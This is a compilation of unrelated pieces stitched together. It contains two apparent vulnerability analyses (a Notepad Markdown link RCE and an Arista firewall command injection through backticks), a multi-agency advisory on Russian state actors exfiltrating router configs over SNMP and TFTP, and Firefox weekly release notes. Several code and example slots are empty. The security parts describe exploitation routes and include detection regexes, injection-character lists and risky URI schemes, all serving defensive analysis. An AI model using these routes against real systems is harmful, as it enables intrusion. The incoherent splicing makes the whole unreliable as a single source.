A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links in Markdown files.

A remote attacker could exploit this vulnerability by enticing the victim to download and interact with a malicious file. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

The Vulnerability

Microsoft Windows comes with a default text-editing application called Windows Notepad. Historically, this application offered only minimal editing features. However, modern versions of Windows include an improved and extended Notepad by default. This new version supports multiple file formats, Markdown rendering, and Copilot-enhanced features.

Markdown is a lightweight markup language that allows users to create formatted text using a simple syntax. It is widely used for writing documents, blog posts, and README files. It supports a wide range of formatting options, including (but not limited to) headers, styled text, numbered and bulleted lists, and links. Markdown supports two main link formats: standard and inline. The standard link format is:

          [link-name](link/path)

When rendered, only the link text ("link-name") is shown to the user.

The inline links use the following format:

          <link/path>

When rendered, they are transformed into the equivalent standard link:

          [link/path](link/path)

A remote code execution vulnerability has been reported in Microsoft Windows Notepad. The vulnerability is due to improper validation of links when handling Markdown files.

When Notepad opens a file, if the application detects that the file requires special rendering (in this case, Markdown), the input file is tokenized. Tokenization in this context means splitting the raw file text into a sequence of small, recognizable pieces ("tokens") that the renderer can process one by one. Detection is performed based on the file extension. Only the ".md" extension was found to trigger Markdown rendering, as the application uses a fixed string comparison to determine whether Markdown should be rendered by calling sub_1400ED5D0(). Markdown files are rendered token by token.

Function sub_140170F60() handles clicking on links in Markdown files. It filters the link value, and passes it to ShellExecuteExW() call.

The filtering performed on the link is found to be insufficient, as it allows using malicious crafted protocol URIs, such as "file://" and "ms-appinstaller://", to execute arbitrary files in the security context of victim. ShellExecuteExW() uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

A remote attacker could exploit this vulnerability by enticing the victim to download a malicious crafted Markdown file, open it, and click on a malicious link. Successful exploitation of this vulnerability could result in the execution of arbitrary commands in the security context of the victim's account.

Notes
• Files using the ".md" file extension are not registered to be opened by Notepad by default. However, when opened manually in Notepad, they are rendered as Markdown, which allows the vulnerability to be triggered.
• Any "\\" sequences are converted to "\" in the attacker-controlled link path prior to passing it to the ShellExecuteExW() call.

Source Code Walkthrough

The following code snippet was taken from Notepad.exe version 11.2508. Comments added by TrendAI researchers have been highlighted.

In sub_140170F60():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following application protocols that can be used to deliver an attack to exploit this vulnerability:
• FTP, over ports 21/TCP, 20/TCP
• HTTP, over port 80/TCP
• HTTPS, over port 443/TCP
• IMAP, over port 143/TCP
• NFS, over ports 2049/TCP, 2049/UDP, 111/TCP, 111/UDP
• POP3, over port 110/TCP
• SMTP, over ports 25/TCP, 587/TCP
• SMB/CIFS, over ports 139/TCP, 445/TCP

The detection device must inspect traffic transferring a Markdown file with the file extension ".md". If such a file transfer is found, the detection device must search the file content for links.

The detection device must check whether the link paths contain the strings "file:" or "ms-appinstaller:".

If "file:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}

If "ms-appinstaller:" was found, the detection device must search the Markdown file contents using the following case-insensitive regular expression:

(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}

If any of the regular expressions matches, the link contains a path to a remote resource. The traffic must be considered malicious; an attack exploiting this vulnerability is likely underway. This guidance should also detect the public PoC that was recently posted on GitHub.

Notes

•  The string matches are case-insensitive.
•  The detection guidance is based on the vendor-provided patch. However, the patch restricts the links to local-only files and HTTP(S) URIs, which may result in a huge number of false positives. Because of that, the detection guidance focuses on formats that may access and execute remote files. Due to that, it may result in false negatives.
•  The vulnerable function uses the configured protocol handlers and may expose additional exploitable protocols depending on the system configuration.

Conclusion

This vulnerability was patched by Microsoft in the February 2026 release cycle. They note no workarounds but do list user interaction as a prerequisite to exploitation. To fully remediate the vulnerability, the proper action is to test and deploy the provided vendor patch.

Special thanks to Nikolai Skliarenko and Yazhi Wang of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.

A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user.

The Vulnerability

Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.

HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body

where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:

A corresponding HTTP request using the POST method might look like:

If there is more than one parameter/value pair, they are encoded as '&'-delimited name=value pairs:

          var1=value1&var2=value2&var3=value3...

The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:

•            An object is enclosed in curly braces {}.
•            An object consists of zero or more items delimited by a comma (",") character.
•            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.
•            A key must be a string (enclosed in quotes).
•            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.
•            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.

An example JSON object is as follows:

The following is an example of a JSON-RPC request to the runTroubleshooting() method that is relevant to this report:

A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The runTroubleshooting() method of the class NetworkManagerImpl will be used to handle JSON-RPC requests to the runTroubleshooting method. The command parameter passed to the method will be the first element in the params JSON array in the body of the request. This value must be one of the strings in the TroubleshootingCommands enum defined in the NetworkManager class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.

The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in TroubleshootingCommands. Each command value will be processed using the same code.

The method will next iterate through each environment variable, and inspect it for the following common command injection strings:

          ; & | > $(

If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method execEvil() is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The execEvil() method in turn will call Runtime.getRuntime().exec() to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as run_dns() for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by exec() and then calling eval to execute it.

However, the values of the parameters passed to the runTroubleshooting JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.

For example:

The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.

A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the runTroubleshooting method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the runTroubleshooting() check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:
          - HTTP, over port 80/TCP
          - HTTPS, over port 443/TCP

Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance.

The detection device must search for HTTP POST requests made to the request-URI /admin/JSON-RPC. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a method key, and its value must be inspected to contain the substring runTroubleshooting. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:

If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:

If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:

If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.

The following regular expression can be applied to find malicious requests:

          /\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/

Notes:

• String matching on the request-URI and all JSON strings should be done in a case sensitive manner.
• The JSON strings may be encoded and must be decoded prior to applying this guidance.
• The request-URI may be URL-encoded and must be decoded before applying this guidance.

Conclusion

This vulnerability has been addressed by Arista with their Security Advisory 0123. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:

Do not allow non-authorized administrative access or access to the administrative browser.

However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.

Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

Executive summary

Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 

This CSA is being released by the following authoring and co-sealing agencies: 

• United States National Security Agency (NSA)
• United States Cybersecurity and Infrastructure Security Agency (CISA)
• United States Federal Bureau of Investigation (FBI)
• United States Department of Defense Cyber Crime Center (DC3)
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• Czech Republic National Cyber and Information Security Agency (NÚKIB)¹ 
• Danish Defence Intelligence Service (DDIS)² 
• Estonian Foreign Intelligence Service (EFIS)³ 
• Estonian Information System Authority (RIA)⁴
• Finnish Defence Intelligence (FDI)⁵
• Finnish Security and Intelligence Service (SUPO)⁶
• French National Cybersecurity Agency (ANSSI)⁷
• Italian External Intelligence and Security Agency (AISE)⁸ 
• Italian Internal Intelligence and Security Agency (AISI)⁹
• The Military Counterintelligence Service of Poland (SKW)¹⁰ 
• Sweden National Cyber Security Centre (NCSC-SE)¹¹ 

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.

Download the PDF version of this report:

• Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (PDF, 816KB)

Cybersecurity industry tracking 

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

• Berserk Bear 
• Energetic Bear
• Crouching Yeti 
• Dragonfly
• Ghost Blizzard
• Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Targeting details

Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

• Communications,
• Defense Industrial Base,
• Energy,
• Financial Services,
• Government Services and Facilities, especially organizations at the state and local level, and
• Healthcare and Public Health.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise¹² framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFEND^TM version 1.4.0.

The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

• Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
• Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

• CVE-2018-0171
• CVE-2008-4128¹³

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.

Mitigation actions

The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

• Disable Cisco Smart Install on all devices [D3-ACH]. [2]
• Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]
  • Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
  • SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].
• Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].
  • Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
  • Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
  •  Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]
• Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].
  
  • Example OIDs include:
    • 1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
    • 1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 
• Restrict management protocols [D3-NTF].
  • Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
  • On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
    • User Datagram Protocol (UDP) port 69 (TFTP) 
    • Transmission Control Protocol (TCP) port 4786 (SMI)
    • UDP ports 161 and 162 (SNMP)
    • TCP/UDP ports 10161 and 10162 (SNMPv3)
• Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 
  
  • Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].
    • U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
    • U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.

Resources

United States:

• Russia Threat Overview and Advisories
• Network Infrastructure Security Guide

Canada:

• Routers cyber security best practices (ITSAP.80.019)
• Security considerations for edge devices (ITSM.80.101)
• Guidance on securely configuring network protocols (ITSP.40.062)
• Baseline security requirements for network security zones (ITSP.80.022)
• Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)

Works cited

[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820

[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF

[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF

[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF

[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF

Footnotes

¹  Národní úřad pro kybernetickou a informační bezpečnost

²  Forsvarets Efterretningstjeneste

³ Välisluureamet

⁴ Riigi Infosüsteem Amet

⁵ Sotilastiedustelu

⁶ Suojelupoliisi

⁷ Agence nationale de la sécurité des systèmes d’information

⁸ Agenzia Informazioni e Sicurezza Esterna

⁹ Agenzia Informazioni e Sicurezza Interna

¹⁰ Służba Kontrwywiadu Wojskowego

¹¹ Nationellt Cybersäkerhetscenter

¹² MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.

¹³ CVE-2008-4128 only affects end-of-life Cisco devices.

Disclaimer of Endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

• National Security Agency (NSA)
  • Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
  • Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
  • Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov
• Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
  •  U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 
• United States Department of Defense Cyber Crime Center (DC3)  
  • Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
  • Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
  •  Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

• Australian Signals Directorate
  • Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

• The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
  • Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

• New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

• Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

• Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

• Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

• French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

• Italian External Intelligence and Security Agency (AISE): 
  • Visit https://www.sicurezzanazionale.gov.it/ 
• Italian Internal Intelligence and Security Agency (AISI): 
  • Visit https://www.sicurezzanazionale.gov.it/ 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Appendix B: MITRE D3FEND countermeasures

See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

• The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
  • This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
  • You will be able to manage this feature in Settings under Sync (for now)
    • 
  • You can read more about the feature here
• As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
• Adaptive autofill has been enabled on Nightly.
  • Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
    • If you run into issues or have feedback, you can file a bug here!
• Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
  • dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
  • it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom
  • 

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Amin Amir
• aoia7rz7l
• Chukwuka Rosemary
• DrSeed
• Frédéric Wang Nélar
• japandi
• John Iweh
• jonathancabera
• Josh Aas
• Keji Bakare
• kofoworola shonuyi
• konyhéa
• liz
• Mathew Hodson
• Okhuomon Ajayi
• Oluwatobi
• ROSHAAN
• Sam Johnson

New contributors (🌟 = first patch)

•  Anthony Mclamb: Disable the legacy Edge migrator
•  Amin Amir
  • 🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
  • Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
  • 🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed
• any1here: install_sig_alt_stack incorrectly checks mmap’s return value
• 🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
• japandi
  • Cannot remove amazon.com from top sites list
  • The height of the pinned tabs area should be responsive to the number of pins
  • Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations
• Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
• DrSeed
  • Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
  • The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again
• Keji Bakare:
  • Split view’s focus-outline is clipped on the right side of left tab
  • White space on the right side of left panel in split view
• 🌟 gotyaoi: Reload toolbar button is active on about:newtab
• Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
• John Iweh: The notification dot is not displayed if the tab is in a Split View
• 🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
• 🌟 jonathancabera:
  • The Move tab to Split View option is also displayed for the tabs that are within the Split View
  • A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
  • Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode
• Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
• liz:
  • Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
  • Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)
• Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
• 🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
• karan68: [dialog] New Shortcut dialog needs a label/accessible name
• 🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
• 🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
• konyhéa:
  • Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
  • Check all second paramaters for TestUtils.waitForCondition in Fx View test files
  • Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.
• Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
• Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
• Okhuomon Ajayi:
  • More spacing is needed between the tab note icon and the close icon on the tab
  • The tabs in vertical mode collapsed state are positioned differently in Split View
  • Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
  • Vertical split view tabs can be too big or small when tabs are overflowing
• 🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
• Chukwuka Rosemary:
  • “Forget About This Site” context menu option missing from Firefox View history
  • Long strings are not displayed properly on the about:opentabs page search filed
  • Add test for Forget This Site option in Fxview history context menu.
• ROSHAAN:
  • 🌟Tab note background colour is incorrect for default light theme
  •  [win/linux] The splitter between content areas does not match Figma spec
  • Fix typo in OpenInTabsUtils.confirmOpenInTabs()
• Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
• kofoworola shonuyi:
  • 🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
  • Add a test for checking sidebar-shown attribute in fullscreen mode
• 🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?</a></p> <p>

• Oluwatobi:
  • Unable to delete selected history entries from sidebar
  • Incorrect Sidebar button state/tooltip hover text
  • The city name heading level doesn’t follow the correct heading level order
• Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014
  • NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes

WebExtensions Framework

• Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173
  • Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!
• Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329
  • Thanks to Simon Farre for promptly investigating and fixing this recent regression!

WebExtension APIs

• Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125
  • Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

• Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
• Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
• Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
• Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)
  • 
• Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

• We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!
• 

Migration Improvements

• Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
• Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

• Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
  • It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.
• Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
• Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
• Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
• Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
• Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
• Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
• Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
• Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
• Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
• Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
• liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
• Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
• Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
• Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
• Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
